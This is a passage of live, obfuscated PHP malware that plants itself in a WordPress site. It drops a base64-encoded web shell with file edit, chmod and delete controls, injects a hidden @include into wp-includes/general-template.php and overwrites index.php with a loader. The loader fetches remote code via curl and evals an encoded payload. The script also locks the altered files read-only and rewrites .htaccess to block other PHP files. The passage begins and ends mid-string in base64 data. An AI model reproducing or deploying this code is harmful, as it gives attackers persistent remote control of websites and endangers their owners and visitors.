Fg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW